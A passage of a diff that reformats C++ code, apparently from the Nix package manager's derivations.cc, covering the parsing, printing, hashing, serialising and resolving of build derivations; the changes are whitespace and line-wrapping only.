(pathS == "") { - return DerivationOutput::Deferred { }; + return DerivationOutput::Deferred{}; } validatePath(pathS); - return DerivationOutput::InputAddressed { + return DerivationOutput::InputAddressed{ .path = store.parseStorePath(pathS), }; } } static DerivationOutput parseDerivationOutput( - const StoreDirConfig & store, StringViewStream & str, + const StoreDirConfig & store, + StringViewStream & str, const ExperimentalFeatureSettings & xpSettings = experimentalFeatureSettings) { - expect(str, ","); const auto pathS = parseString(str); - expect(str, ","); const auto hashAlgo = parseString(str); - expect(str, ","); const auto hash = parseString(str); + expect(str, ","); + const auto pathS = parseString(str); + expect(str, ","); + const auto hashAlgo = parseString(str); + expect(str, ","); + const auto hash = parseString(str); expect(str, ")"); return parseDerivationOutput(store, *pathS, *hashAlgo, *hash, xpSettings); @@ -346,16 +332,12 @@ enum struct DerivationATermVersion { DynamicDerivations, }; -static DerivedPathMap::ChildNode parseDerivedPathMapNode( - const StoreDirConfig & store, - StringViewStream & str, - DerivationATermVersion version) +static DerivedPathMap::ChildNode +parseDerivedPathMapNode(const StoreDirConfig & store, StringViewStream & str, DerivationATermVersion version) { DerivedPathMap::ChildNode node; - auto parseNonDynamic = [&]() { - node.value = parseStrings(str, false); - }; + auto parseNonDynamic = [&]() { node.value = parseStrings(str, false); }; // Older derivation should never use new form, but newer // derivaiton can use old form. @@ -392,9 +374,10 @@ static DerivedPathMap::ChildNode parseDerivedPathMapNode( return node; } - Derivation parseDerivation( - const StoreDirConfig & store, std::string && s, std::string_view name, + const StoreDirConfig & store, + std::string && s, + std::string_view name, const ExperimentalFeatureSettings & xpSettings) { Derivation drv; @@ -428,7 +411,8 @@ Derivation parseDerivation( /* Parse the list of outputs. */ expect(str, "["); while (!endOfList(str)) { - expect(str, "("); std::string id = parseString(str).toOwned(); + expect(str, "("); + std::string id = parseString(str).toOwned(); auto output = parseDerivationOutput(store, str, xpSettings); drv.outputs.emplace(std::move(id), std::move(output)); } @@ -439,13 +423,17 @@ Derivation parseDerivation( expect(str, "("); auto drvPath = parsePath(str); expect(str, ","); - drv.inputDrvs.map.insert_or_assign(store.parseStorePath(*drvPath), parseDerivedPathMapNode(store, str, version)); + drv.inputDrvs.map.insert_or_assign( + store.parseStorePath(*drvPath), parseDerivedPathMapNode(store, str, version)); expect(str, ")"); } - expect(str, ","); drv.inputSrcs = store.parseStorePathSet(parseStrings(str, true)); - expect(str, ","); drv.platform = parseString(str).toOwned(); - expect(str, ","); drv.builder = parseString(str).toOwned(); + expect(str, ","); + drv.inputSrcs = store.parseStorePathSet(parseStrings(str, true)); + expect(str, ","); + drv.platform = parseString(str).toOwned(); + expect(str, ","); + drv.builder = parseString(str).toOwned(); /* Parse the builder arguments. */ expect(str, ",["); @@ -455,8 +443,10 @@ Derivation parseDerivation( /* Parse the environment variables. */ expect(str, ",["); while (!endOfList(str)) { - expect(str, "("); auto name = parseString(str).toOwned(); - expect(str, ","); auto value = parseString(str).toOwned(); + expect(str, "("); + auto name = parseString(str).toOwned(); + expect(str, ","); + auto value = parseString(str).toOwned(); expect(str, ")"); drv.env.insert_or_assign(std::move(name), std::move(value)); } @@ -465,7 +455,6 @@ Derivation parseDerivation( return drv; } - /** * Print a derivation string literal to an `std::string`. * @@ -483,16 +472,24 @@ static void printString(std::string & res, std::string_view s) char * p = buf; *p++ = '"'; for (auto c : s) - if (c == '\"' || c == '\\') { *p++ = '\\'; *p++ = c; } - else if (c == '\n') { *p++ = '\\'; *p++ = 'n'; } - else if (c == '\r') { *p++ = '\\'; *p++ = 'r'; } - else if (c == '\t') { *p++ = '\\'; *p++ = 't'; } - else *p++ = c; + if (c == '\"' || c == '\\') { + *p++ = '\\'; + *p++ = c; + } else if (c == '\n') { + *p++ = '\\'; + *p++ = 'n'; + } else if (c == '\r') { + *p++ = '\\'; + *p++ = 'r'; + } else if (c == '\t') { + *p++ = '\\'; + *p++ = 't'; + } else + *p++ = c; *p++ = '"'; res.append(buf, p - buf); } - static void printUnquotedString(std::string & res, std::string_view s) { res += '"'; @@ -500,34 +497,38 @@ static void printUnquotedString(std::string & res, std::string_view s) res += '"'; } - template static void printStrings(std::string & res, ForwardIterator i, ForwardIterator j) { res += '['; bool first = true; - for ( ; i != j; ++i) { - if (first) first = false; else res += ','; + for (; i != j; ++i) { + if (first) + first = false; + else + res += ','; printString(res, *i); } res += ']'; } - template static void printUnquotedStrings(std::string & res, ForwardIterator i, ForwardIterator j) { res += '['; bool first = true; - for ( ; i != j; ++i) { - if (first) first = false; else res += ','; + for (; i != j; ++i) { + if (first) + first = false; + else + res += ','; printUnquotedString(res, *i); } res += ']'; } - -static void unparseDerivedPathMapNode(const StoreDirConfig & store, std::string & s, const DerivedPathMap::ChildNode & node) +static void unparseDerivedPathMapNode( + const StoreDirConfig & store, std::string & s, const DerivedPathMap::ChildNode & node) { s += ','; if (node.childMap.empty()) { @@ -538,8 +539,12 @@ static void unparseDerivedPathMapNode(const StoreDirConfig & store, std::string s += ",["; bool first = true; for (auto & [outputName, childNode] : node.childMap) { - if (first) first = false; else s += ','; - s += '('; printUnquotedString(s, outputName); + if (first) + first = false; + else + s += ','; + s += '('; + printUnquotedString(s, outputName); unparseDerivedPathMapNode(store, s, childNode); s += ')'; } @@ -547,7 +552,6 @@ static void unparseDerivedPathMapNode(const StoreDirConfig & store, std::string } } - /** * Does the derivation have a dependency on the output of a dynamic * derivation? @@ -559,17 +563,15 @@ static void unparseDerivedPathMapNode(const StoreDirConfig & store, std::string */ static bool hasDynamicDrvDep(const Derivation & drv) { - return - std::find_if( - drv.inputDrvs.map.begin(), - drv.inputDrvs.map.end(), - [](auto & kv) { return !kv.second.childMap.empty(); }) - != drv.inputDrvs.map.end(); + return std::find_if( + drv.inputDrvs.map.begin(), + drv.inputDrvs.map.end(), + [](auto & kv) { return !kv.second.childMap.empty(); }) + != drv.inputDrvs.map.end(); } - -std::string Derivation::unparse(const StoreDirConfig & store, bool maskOutputs, - DerivedPathMap::ChildNode::Map * actualInputs) const +std::string Derivation::unparse( + const StoreDirConfig & store, bool maskOutputs, DerivedPathMap::ChildNode::Map * actualInputs) const { std::string s; s.reserve(65536); @@ -589,36 +591,56 @@ std::string Derivation::unparse(const StoreDirConfig & store, bool maskOutputs, bool first = true; s += "["; for (auto & i : outputs) { - if (first) first = false; else s += ','; - s += '('; printUnquotedString(s, i.first); - std::visit(overloaded { - [&](const DerivationOutput::InputAddressed & doi) { - s += ','; printUnquotedString(s, maskOutputs ? "" : store.printStorePath(doi.path)); - s += ','; printUnquotedString(s, ""); - s += ','; printUnquotedString(s, ""); - }, - [&](const DerivationOutput::CAFixed & dof) { - s += ','; printUnquotedString(s, maskOutputs ? "" : store.printStorePath(dof.path(store, name, i.first))); - s += ','; printUnquotedString(s, dof.ca.printMethodAlgo()); - s += ','; printUnquotedString(s, dof.ca.hash.to_string(HashFormat::Base16, false)); - }, - [&](const DerivationOutput::CAFloating & dof) { - s += ','; printUnquotedString(s, ""); - s += ','; printUnquotedString(s, std::string { dof.method.renderPrefix() } + printHashAlgo(dof.hashAlgo)); - s += ','; printUnquotedString(s, ""); - }, - [&](const DerivationOutput::Deferred &) { - s += ','; printUnquotedString(s, ""); - s += ','; printUnquotedString(s, ""); - s += ','; printUnquotedString(s, ""); - }, - [&](const DerivationOutput::Impure & doi) { - // FIXME - s += ','; printUnquotedString(s, ""); - s += ','; printUnquotedString(s, std::string { doi.method.renderPrefix() } + printHashAlgo(doi.hashAlgo)); - s += ','; printUnquotedString(s, "impure"); - } - }, i.second.raw); + if (first) + first = false; + else + s += ','; + s += '('; + printUnquotedString(s, i.first); + std::visit( + overloaded{ + [&](const DerivationOutput::InputAddressed & doi) { + s += ','; + printUnquotedString(s, maskOutputs ? "" : store.printStorePath(doi.path)); + s += ','; + printUnquotedString(s, ""); + s += ','; + printUnquotedString(s, ""); + }, + [&](const DerivationOutput::CAFixed & dof) { + s += ','; + printUnquotedString(s, maskOutputs ? "" : store.printStorePath(dof.path(store, name, i.first))); + s += ','; + printUnquotedString(s, dof.ca.printMethodAlgo()); + s += ','; + printUnquotedString(s, dof.ca.hash.to_string(HashFormat::Base16, false)); + }, + [&](const DerivationOutput::CAFloating & dof) { + s += ','; + printUnquotedString(s, ""); + s += ','; + printUnquotedString(s, std::string{dof.method.renderPrefix()} + printHashAlgo(dof.hashAlgo)); + s += ','; + printUnquotedString(s, ""); + }, + [&](const DerivationOutput::Deferred &) { + s += ','; + printUnquotedString(s, ""); + s += ','; + printUnquotedString(s, ""); + s += ','; + printUnquotedString(s, ""); + }, + [&](const DerivationOutput::Impure & doi) { + // FIXME + s += ','; + printUnquotedString(s, ""); + s += ','; + printUnquotedString(s, std::string{doi.method.renderPrefix()} + printHashAlgo(doi.hashAlgo)); + s += ','; + printUnquotedString(s, "impure"); + }}, + i.second.raw); s += ')'; } @@ -626,15 +648,23 @@ std::string Derivation::unparse(const StoreDirConfig & store, bool maskOutputs, first = true; if (actualInputs) { for (auto & [drvHashModulo, childMap] : *actualInputs) { - if (first) first = false; else s += ','; - s += '('; printUnquotedString(s, drvHashModulo); + if (first) + first = false; + else + s += ','; + s += '('; + printUnquotedString(s, drvHashModulo); unparseDerivedPathMapNode(store, s, childMap); s += ')'; } } else { for (auto & [drvPath, childMap] : inputDrvs.map) { - if (first) first = false; else s += ','; - s += '('; printUnquotedString(s, store.printStorePath(drvPath)); + if (first) + first = false; + else + s += ','; + s += '('; + printUnquotedString(s, store.printStorePath(drvPath)); unparseDerivedPathMapNode(store, s, childMap); s += ')'; } @@ -644,16 +674,24 @@ std::string Derivation::unparse(const StoreDirConfig & store, bool maskOutputs, auto paths = store.printStorePathSet(inputSrcs); // FIXME: slow printUnquotedStrings(s, paths.begin(), paths.end()); - s += ','; printUnquotedString(s, platform); - s += ','; printString(s, builder); - s += ','; printStrings(s, args.begin(), args.end()); + s += ','; + printUnquotedString(s, platform); + s += ','; + printString(s, builder); + s += ','; + printStrings(s, args.begin(), args.end()); s += ",["; first = true; for (auto & i : env) { - if (first) first = false; else s += ','; - s += '('; printString(s, i.first); - s += ','; printString(s, maskOutputs && outputs.count(i.first) ? "" : i.second); + if (first) + first = false; + else + s += ','; + s += '('; + printString(s, i.first); + s += ','; + printString(s, maskOutputs && outputs.count(i.first) ? "" : i.second); s += ')'; } @@ -662,16 +700,15 @@ std::string Derivation::unparse(const StoreDirConfig & store, bool maskOutputs, return s; } - // FIXME: remove bool isDerivation(std::string_view fileName) { return hasSuffix(fileName, drvExtension); } - -std::string outputPathName(std::string_view drvName, OutputNameView outputName) { - std::string res { drvName }; +std::string outputPathName(std::string_view drvName, OutputNameView outputName) +{ + std::string res{drvName}; if (outputName != "out") { res += "-"; res += outputName; @@ -679,106 +716,75 @@ std::string outputPathName(std::string_view drvName, OutputNameView outputName) return res; } - DerivationType BasicDerivation::type() const { - std::set - inputAddressedOutputs, - fixedCAOutputs, - floatingCAOutputs, - deferredIAOutputs, + std::set inputAddressedOutputs, fixedCAOutputs, floatingCAOutputs, deferredIAOutputs, impureOutputs; std::optional floatingHashAlgo; for (auto & i : outputs) { - std::visit(overloaded { - [&](const DerivationOutput::InputAddressed &) { - inputAddressedOutputs.insert(i.first); + std::visit( + overloaded{ + [&](const DerivationOutput::InputAddressed &) { inputAddressedOutputs.insert(i.first); }, + [&](const DerivationOutput::CAFixed &) { fixedCAOutputs.insert(i.first); }, + [&](const DerivationOutput::CAFloating & dof) { + floatingCAOutputs.insert(i.first); + if (!floatingHashAlgo) { + floatingHashAlgo = dof.hashAlgo; + } else { + if (*floatingHashAlgo != dof.hashAlgo) + throw Error("all floating outputs must use the same hash algorithm"); + } + }, + [&](const DerivationOutput::Deferred &) { deferredIAOutputs.insert(i.first); }, + [&](const DerivationOutput::Impure &) { impureOutputs.insert(i.first); }, }, - [&](const DerivationOutput::CAFixed &) { - fixedCAOutputs.insert(i.first); - }, - [&](const DerivationOutput::CAFloating & dof) { - floatingCAOutputs.insert(i.first); - if (!floatingHashAlgo) { - floatingHashAlgo = dof.hashAlgo; - } else { - if (*floatingHashAlgo != dof.hashAlgo) - throw Error("all floating outputs must use the same hash algorithm"); - } - }, - [&](const DerivationOutput::Deferred &) { - deferredIAOutputs.insert(i.first); - }, - [&](const DerivationOutput::Impure &) { - impureOutputs.insert(i.first); - }, - }, i.second.raw); + i.second.raw); } - if (inputAddressedOutputs.empty() - && fixedCAOutputs.empty() - && floatingCAOutputs.empty() - && deferredIAOutputs.empty() - && impureOutputs.empty()) + if (inputAddressedOutputs.empty() && fixedCAOutputs.empty() && floatingCAOutputs.empty() + && deferredIAOutputs.empty() && impureOutputs.empty()) throw Error("must have at least one output"); - if (!inputAddressedOutputs.empty() - && fixedCAOutputs.empty() - && floatingCAOutputs.empty() - && deferredIAOutputs.empty() - && impureOutputs.empty()) - return DerivationType::InputAddressed { + if (!inputAddressedOutputs.empty() && fixedCAOutputs.empty() && floatingCAOutputs.empty() + && deferredIAOutputs.empty() && impureOutputs.empty()) + return DerivationType::InputAddressed{ .deferred = false, }; - if (inputAddressedOutputs.empty() - && !fixedCAOutputs.empty() - && floatingCAOutputs.empty() - && deferredIAOutputs.empty() - && impureOutputs.empty()) - { + if (inputAddressedOutputs.empty() && !fixedCAOutputs.empty() && floatingCAOutputs.empty() + && deferredIAOutputs.empty() && impureOutputs.empty()) { if (fixedCAOutputs.size() > 1) // FIXME: Experimental feature? throw Error("only one fixed output is allowed for now"); if (*fixedCAOutputs.begin() != "out") throw Error("single fixed output must be named \"out\""); - return DerivationType::ContentAddressed { + return DerivationType::ContentAddressed{ .sandboxed = false, .fixed = true, }; } - if (inputAddressedOutputs.empty() - && fixedCAOutputs.empty() - && !floatingCAOutputs.empty() - && deferredIAOutputs.empty() - && impureOutputs.empty()) - return DerivationType::ContentAddressed { + if (inputAddressedOutputs.empty() && fixedCAOutputs.empty() && !floatingCAOutputs.empty() + && deferredIAOutputs.empty() && impureOutputs.empty()) + return DerivationType::ContentAddressed{ .sandboxed = true, .fixed = false, }; - if (inputAddressedOutputs.empty() - && fixedCAOutputs.empty() - && floatingCAOutputs.empty() - && !deferredIAOutputs.empty() - && impureOutputs.empty()) - return DerivationType::InputAddressed { + if (inputAddressedOutputs.empty() && fixedCAOutputs.empty() && floatingCAOutputs.empty() + && !deferredIAOutputs.empty() && impureOutputs.empty()) + return DerivationType::InputAddressed{ .deferred = true, }; - if (inputAddressedOutputs.empty() - && fixedCAOutputs.empty() - && floatingCAOutputs.empty() - && deferredIAOutputs.empty() - && !impureOutputs.empty()) - return DerivationType::Impure { }; + if (inputAddressedOutputs.empty() && fixedCAOutputs.empty() && floatingCAOutputs.empty() + && deferredIAOutputs.empty() && !impureOutputs.empty()) + return DerivationType::Impure{}; throw Error("can't mix derivation output types"); } - Sync drvHashes; /* pathDerivationModulo and hashDerivationModulo are mutually recursive @@ -796,10 +802,7 @@ static const DrvHash pathDerivationModulo(Store & store, const StorePath & drvPa return h->second; } } - auto h = hashDerivationModulo( - store, - store.readInvalidDerivation(drvPath), - false); + auto h = hashDerivationModulo(store, store.readInvalidDerivation(drvPath), false); // Cache it drvHashes.lock()->insert_or_assign(drvPath, h); return h; @@ -831,33 +834,30 @@ DrvHash hashDerivationModulo(Store & store, const Derivation & drv, bool maskOut std::map outputHashes; for (const auto & i : drv.outputs) { auto & dof = std::get(i.second.raw); - auto hash = hashString(HashAlgorithm::SHA256, "fixed:out:" - + dof.ca.printMethodAlgo() + ":" - + dof.ca.hash.to_string(HashFormat::Base16, false) + ":" - + store.printStorePath(dof.path(store, drv.name, i.first))); + auto hash = hashString( + HashAlgorithm::SHA256, + "fixed:out:" + dof.ca.printMethodAlgo() + ":" + dof.ca.hash.to_string(HashFormat::Base16, false) + ":" + + store.printStorePath(dof.path(store, drv.name, i.first))); outputHashes.insert_or_assign(i.first, std::move(hash)); } - return DrvHash { + return DrvHash{ .hashes = outputHashes, .kind = DrvHash::Kind::Regular, }; } - auto kind = std::visit(overloaded { - [](const DerivationType::InputAddressed & ia) { - /* This might be a "pesimistically" deferred output, so we don't - "taint" the kind yet. */ - return DrvHash::Kind::Regular; - }, - [](const DerivationType::ContentAddressed & ca) { - return ca.fixed - ? DrvHash::Kind::Regular - : DrvHash::Kind::Deferred; - }, - [](const DerivationType::Impure &) -> DrvHash::Kind { - return DrvHash::Kind::Deferred; - } - }, drv.type().raw); + auto kind = std::visit( + overloaded{ + [](const DerivationType::InputAddressed & ia) { + /* This might be a "pesimistically" deferred output, so we don't + "taint" the kind yet. */ + return DrvHash::Kind::Regular; + }, + [](const DerivationType::ContentAddressed & ca) { + return ca.fixed ? DrvHash::Kind::Regular : DrvHash::Kind::Deferred; + }, + [](const DerivationType::Impure &) -> DrvHash::Kind { return DrvHash::Kind::Deferred; }}, + drv.type().raw); DerivedPathMap::ChildNode::Map inputs2; for (auto & [drvPath, node] : drv.inputDrvs.map) { @@ -879,19 +879,17 @@ DrvHash hashDerivationModulo(Store & store, const Derivation & drv, bool maskOut outputHashes.insert_or_assign(outputName, hash); } - return DrvHash { + return DrvHash{ .hashes = outputHashes, .kind = kind, }; } - std::map staticOutputHashes(Store & store, const Derivation & drv) { return hashDerivationModulo(store, drv, true).hashes; } - static DerivationOutput readDerivationOutput(Source & in, const StoreDirConfig & store) { const auto pathS = readString(in); @@ -913,11 +911,8 @@ DerivationOutputsAndOptPaths BasicDerivation::outputsAndOptPaths(const StoreDirC { DerivationOutputsAndOptPaths outsAndOptPaths; for (auto & [outputName, output] : outputs) - outsAndOptPaths.insert(std::make_pair( - outputName, - std::make_pair(output, output.path(store, name, outputName)) - ) - ); + outsAndOptPaths.insert( + std::make_pair(outputName, std::make_pair(output, output.path(store, name, outputName)))); return outsAndOptPaths; } @@ -929,7 +924,6 @@ std::string_view BasicDerivation::nameFromPath(const StorePath & drvPath) return nameWithSuffix; } - Source & readDerivation(Source & in, const StoreDirConfig & store, BasicDerivation & drv, std::string_view name) { drv.name = name; @@ -942,8 +936,7 @@ Source & readDerivation(Source & in, const StoreDirConfig & store, BasicDerivati drv.outputs.emplace(std::move(name), std::move(output)); } - drv.inputSrcs = CommonProto::Serialise::read(store, - CommonProto::ReadConn { .from = in }); + drv.inputSrcs = CommonProto::Serialise::read(store, CommonProto::ReadConn{.from = in}); in >> drv.platform >> drv.builder; drv.args = readStrings(in); @@ -957,59 +950,54 @@ Source & readDerivation(Source & in, const StoreDirConfig & store, BasicDerivati return in; } - void writeDerivation(Sink & out, const StoreDirConfig & store, const BasicDerivation & drv) { out << drv.outputs.size(); for (auto & i : drv.outputs) { out << i.first; - std::visit(overloaded { - [&](const DerivationOutput::InputAddressed & doi) { - out << store.printStorePath(doi.path) - << "" - << ""; + std::visit( + overloaded{ + [&](const DerivationOutput::InputAddressed & doi) { + out << store.printStorePath(doi.path) << "" + << ""; + }, + [&](const DerivationOutput::CAFixed & dof) { + out << store.printStorePath(dof.path(store, drv.name, i.first)) << dof.ca.printMethodAlgo() + << dof.ca.hash.to_string(HashFormat::Base16, false); + }, + [&](const DerivationOutput::CAFloating & dof) { + out << "" << (std::string{dof.method.renderPrefix()} + printHashAlgo(dof.hashAlgo)) << ""; + }, + [&](const DerivationOutput::Deferred &) { + out << "" + << "" + << ""; + }, + [&](const DerivationOutput::Impure & doi) { + out << "" << (std::string{doi.method.renderPrefix()} + printHashAlgo(doi.hashAlgo)) << "impure"; + }, }, - [&](const DerivationOutput::CAFixed & dof) { - out << store.printStorePath(dof.path(store, drv.name, i.first)) - << dof.ca.printMethodAlgo() - << dof.ca.hash.to_string(HashFormat::Base16, false); - }, - [&](const DerivationOutput::CAFloating & dof) { - out << "" - << (std::string { dof.method.renderPrefix() } + printHashAlgo(dof.hashAlgo)) - << ""; - }, - [&](const DerivationOutput::Deferred &) { - out << "" - << "" - << ""; - }, - [&](const DerivationOutput::Impure & doi) { - out << "" - << (std::string { doi.method.renderPrefix() } + printHashAlgo(doi.hashAlgo)) - << "impure"; - }, - }, i.second.raw); + i.second.raw); } - CommonProto::write(store, - CommonProto::WriteConn { .to = out }, - drv.inputSrcs); + CommonProto::write(store, CommonProto::WriteConn{.to = out}, drv.inputSrcs); out << drv.platform << drv.builder << drv.args; out << drv.env.size(); for (auto & i : drv.env) out << i.first << i.second; } - std::string hashPlaceholder(const OutputNameView outputName) { // FIXME: memoize? - return "/" + hashString(HashAlgorithm::SHA256, concatStrings("nix-output:", outputName)).to_string(HashFormat::Nix32, false); + return "/" + + hashString(HashAlgorithm::SHA256, concatStrings("nix-output:", outputName)) + .to_string(HashFormat::Nix32, false); } void BasicDerivation::applyRewrites(const StringMap & rewrites) { - if (rewrites.empty()) return; + if (rewrites.empty()) + return; debug("rewriting the derivation"); @@ -1038,23 +1026,21 @@ static void rewriteDerivation(Store & store, BasicDerivation & drv, const String if (std::holds_alternative(output.raw)) { auto h = get(hashModulo.hashes, outputName); if (!h) - throw Error("derivation '%s' output '%s' has no hash (derivations.cc/rewriteDerivation)", - drv.name, outputName); + throw Error( + "derivation '%s' output '%s' has no hash (derivations.cc/rewriteDerivation)", drv.name, outputName); auto outPath = store.makeOutputPath(outputName, *h, drv.name); drv.env[outputName] = store.printStorePath(outPath); - output = DerivationOutput::InputAddressed { + output = DerivationOutput::InputAddressed{ .path = std::move(outPath), }; } } - } std::optional Derivation::tryResolve(Store & store, Store * evalStore) const { return tryResolve( - store, - [&](ref drvPath, const std::string & outputName) -> std::optional { + store, [&](ref drvPath, const std::string & outputName) -> std::optional { try { return resolveDerivedPath(store, SingleDerivedPath::Built{drvPath, outputName}, evalStore); } catch (Error &) { @@ -1064,41 +1050,45 @@ std::optional Derivation::tryResolve(Store & store, Store * eva } static bool tryResolveInput( - Store & store, StorePathSet & inputSrcs, StringMap & inputRewrites, + Store & store, + StorePathSet & inputSrcs, + StringMap & inputRewrites, const DownstreamPlaceholder * placeholderOpt, - ref drvPath, const DerivedPathMap::ChildNode & inputNode, - std::function(ref drvPath, const std::string & outputName)> queryResolutionChain) + ref drvPath, + const DerivedPathMap::ChildNode & inputNode, + std::function(ref drvPath, const std::string & outputName)> + queryResolutionChain) { auto getPlaceholder = [&](const std::string & outputName) { - return placeholderOpt - ? DownstreamPlaceholder::unknownDerivation(*placeholderOpt, outputName) - : [&]{ - auto * p = std::get_if(&drvPath->raw()); - // otherwise we should have had a placeholder to build-upon already - assert(p); - return DownstreamPlaceholder::unknownCaOutput(p->path, outputName); - }(); + return placeholderOpt ? DownstreamPlaceholder::unknownDerivation(*placeholderOpt, outputName) : [&] { + auto * p = std::get_if(&drvPath->raw()); + // otherwise we should have had a placeholder to build-upon already + assert(p); + return DownstreamPlaceholder::unknownCaOutput(p->path, outputName); + }(); }; for (auto & outputName : inputNode.value) { auto actualPathOpt = queryResolutionChain(drvPath, outputName); - if (!actualPathOpt) return false; + if (!actualPathOpt) + return false; auto actualPath = *actualPathOpt; if (experimentalFeatureSettings.isEnabled(Xp::CaDerivations)) { - inputRewrites.emplace( - getPlaceholder(outputName).render(), - store.printStorePath(actualPath)); + inputRewrites.emplace(getPlaceholder(outputName).render(), store.printStorePath(actualPath)); } inputSrcs.insert(std::move(actualPath)); } for (auto & [outputName, childNode] : inputNode.childMap) { auto nextPlaceholder = getPlaceholder(outputName); - if (!tryResolveInput(store, inputSrcs, inputRewrites, - &nextPlaceholder, - make_ref(SingleDerivedPath::Built{drvPath, outputName}), - childNode, - queryResolutionChain)) + if (!tryResolveInput( + store, + inputSrcs, + inputRewrites, + &nextPlaceholder, + make_ref(SingleDerivedPath::Built{drvPath, outputName}), + childNode, + queryResolutionChain)) return false; } return true; @@ -1106,16 +1096,23 @@ static bool tryResolveInput( std::optional Derivation::tryResolve( Store & store, - std::function(ref drvPath, const std::string & outputName)> queryResolutionChain) const + std::function(ref drvPath, const std::string & outputName)> + queryResolutionChain) const { - BasicDerivation resolved { *this }; + BasicDerivation resolved{*this}; // Input paths that we'll want to rewrite in the derivation StringMap inputRewrites; for (auto & [inputDrv, inputNode] : inputDrvs.map) - if (!tryResolveInput(store, resolved.inputSrcs, inputRewrites, - nullptr, make_ref(SingleDerivedPath::Opaque{inputDrv}), inputNode, queryResolutionChain)) + if (!tryResolveInput( + store, + resolved.inputSrcs, + inputRewrites, + nullptr, + make_ref(SingleDerivedPath::Opaque{inputDrv}), + inputNode, + queryResolutionChain)) return std::nullopt; rewriteDerivation(store, resolved, inputRewrites); @@ -1123,7 +1120,6 @@ std::optional Derivation::tryResolve( return resolved; } - void Derivation::checkInvariants(Store & store, const StorePath & drvPath) const { assert(drvPath.isDerivation()); @@ -1134,15 +1130,16 @@ void Derivation::checkInvariants(Store & store, const StorePath & drvPath) const throw Error("Derivation '%s' has name '%s' which does not match its path", store.printStorePath(drvPath), name); } - auto envHasRightPath = [&](const StorePath & actual, const std::string & varName) - { + auto envHasRightPath = [&](const StorePath & actual, const std::string & varName) { auto j = env.find(varName); if (j == env.end() || store.parseStorePath(j->second) != actual) - throw Error("derivation '%s' has incorrect environment variable '%s', should be '%s'", - store.printStorePath(drvPath), varName, store.printStorePath(actual)); + throw Error( + "derivation '%s' has incorrect environment variable '%s', should be '%s'", + store.printStorePath(drvPath), + varName, + store.printStorePath(actual)); }; - // Don't need the answer, but do this anyways to assert is proper // combination. The code below is more general and naturally allows // combinations that are currently prohibited. @@ -1150,74 +1147,82 @@ void Derivation::checkInvariants(Store & store, const StorePath & drvPath) const std::optional hashesModulo; for (auto & i : outputs) { - std::visit(overloaded { - [&](const DerivationOutput::InputAddressed & doia) { - if (!hashesModulo) { - // somewhat expensive so we do lazily - hashesModulo = hashDerivationModulo(store, *this, true); - } - auto currentOutputHash = get(hashesModulo->hashes, i.first); - if (!currentOutputHash) - throw Error("derivation '%s' has unexpected output '%s' (local-store / hashesModulo) named '%s'", - store.printStorePath(drvPath), store.printStorePath(doia.path), i.first); - StorePath recomputed = store.makeOutputPath(i.first, *currentOutputHash, drvName); - if (doia.path != recomputed) - throw Error("derivation '%s' has incorrect output '%s', should be '%s'", - store.printStorePath(drvPath), store.printStorePath(doia.path), store.printStorePath(recomputed)); - envHasRightPath(doia.path, i.first); + std::visit( + overloaded{ + [&](const DerivationOutput::InputAddressed & doia) { + if (!hashesModulo) { + // somewhat expensive so we do lazily + hashesModulo = hashDerivationModulo(store, *this, true); + } + auto currentOutputHash = get(hashesModulo->hashes, i.first); + if (!currentOutputHash) + throw Error( + "derivation '%s' has unexpected output '%s' (local-store / hashesModulo) named '%s'", + store.printStorePath(drvPath), + store.printStorePath(doia.path), + i.first); + StorePath recomputed = store.makeOutputPath(i.first, *currentOutputHash, drvName); + if (doia.path != recomputed) + throw Error( + "derivation '%s' has incorrect output '%s', should be '%s'", + store.printStorePath(drvPath), + store.printStorePath(doia.path), + store.printStorePath(recomputed)); + envHasRightPath(doia.path, i.first); + }, + [&](const DerivationOutput::CAFixed & dof) { + auto path = dof.path(store, drvName, i.first); + envHasRightPath(path, i.first); + }, + [&](const DerivationOutput::CAFloating &) { + /* Nothing to check */ + }, + [&](const DerivationOutput::Deferred &) { + /* Nothing to check */ + }, + [&](const DerivationOutput::Impure &) { + /* Nothing to check */ + }, }, - [&](const DerivationOutput::CAFixed & dof) { - auto path = dof.path(store, drvName, i.first); - envHasRightPath(path, i.first); - }, - [&](const DerivationOutput::CAFloating &) { - /* Nothing to check */ - }, - [&](const DerivationOutput::Deferred &) { - /* Nothing to check */ - }, - [&](const DerivationOutput::Impure &) { - /* Nothing to check */ - }, - }, i.second.raw); + i.second.raw); } } - const Hash impureOutputHash = hashString(HashAlgorithm::SHA256, "impure"); -nlohmann::json DerivationOutput::toJSON( - const StoreDirConfig & store, std::string_view drvName, OutputNameView outputName) const +nlohmann::json +DerivationOutput::toJSON(const StoreDirConfig & store, std::string_view drvName, OutputNameView outputName) const { nlohmann::json res = nlohmann::json::object(); - std::visit(overloaded { - [&](const DerivationOutput::InputAddressed & doi) { - res["path"] = store.printStorePath(doi.path); + std::visit( + overloaded{ + [&](const DerivationOutput::InputAddressed & doi) { res["path"] = store.printStorePath(doi.path); }, + [&](const DerivationOutput::CAFixed & dof) { + res["path"] = store.printStorePath(dof.path(store, drvName, outputName)); + res["method"] = std::string{dof.ca.method.render()}; + res["hashAlgo"] = printHashAlgo(dof.ca.hash.algo); + res["hash"] = dof.ca.hash.to_string(HashFormat::Base16, false); + // FIXME print refs? + }, + [&](const DerivationOutput::CAFloating & dof) { + res["method"] = std::string{dof.method.render()}; + res["hashAlgo"] = printHashAlgo(dof.hashAlgo); + }, + [&](const DerivationOutput::Deferred &) {}, + [&](const DerivationOutput::Impure & doi) { + res["method"] = std::string{doi.method.render()}; + res["hashAlgo"] = printHashAlgo(doi.hashAlgo); + res["impure"] = true; + }, }, - [&](const DerivationOutput::CAFixed & dof) { - res["path"] = store.printStorePath(dof.path(store, drvName, outputName)); - res["method"] = std::string { dof.ca.method.render() }; - res["hashAlgo"] = printHashAlgo(dof.ca.hash.algo); - res["hash"] = dof.ca.hash.to_string(HashFormat::Base16, false); - // FIXME print refs? - }, - [&](const DerivationOutput::CAFloating & dof) { - res["method"] = std::string { dof.method.render() }; - res["hashAlgo"] = printHashAlgo(dof.hashAlgo); - }, - [&](const DerivationOutput::Deferred &) {}, - [&](const DerivationOutput::Impure & doi) { - res["method"] = std::string { doi.method.render() }; - res["hashAlgo"] = printHashAlgo(doi.hashAlgo); - res["impure"] = true; - }, - }, raw); + raw); return res; } - DerivationOutput DerivationOutput::fromJSON( - const StoreDirConfig & store, std::string_view drvName, OutputNameView outputName, + const StoreDirConfig & store, + std::string_view drvName, + OutputNameView outputName, const nlohmann::json & _json, const ExperimentalFeatureSettings & xpSettings) { @@ -1228,52 +1233,51 @@ DerivationOutput DerivationOutput::fromJSON( 